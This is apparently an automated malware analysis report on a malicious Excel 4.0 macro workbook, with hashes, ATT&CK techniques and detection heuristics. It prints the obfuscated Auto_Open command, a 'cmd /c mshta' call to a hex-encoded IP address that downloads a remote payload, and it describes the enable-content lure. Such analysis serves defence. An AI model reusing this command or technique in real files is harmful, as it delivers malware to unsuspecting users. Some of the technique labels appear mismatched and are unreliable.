Office (OLE) / .XLS malware analysis — malicious · 1b293315912d3cde

MALICIOUS

Office (OLE) / .XLS

65.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: a8ed5f9c05a3e9c63b42b41ddfb3b5a2 SHA-1: e7a2f0be68ade901bf5321635b05270320bc1d67 SHA-256: 1b293315912d3cde91c6071cf8c2677e312a4290a2354fc2a07268df62f02d42

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell

The sample is an Excel 4.0 macro sheet (XLM) that contains an Auto_Open entry. The macro defines a string that is later executed as a command: 'cmd /c msh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This command attempts to download a payload from the specified URL. The document also contains a lure to enable editing and content, which is a common tactic for macro-based malware delivery.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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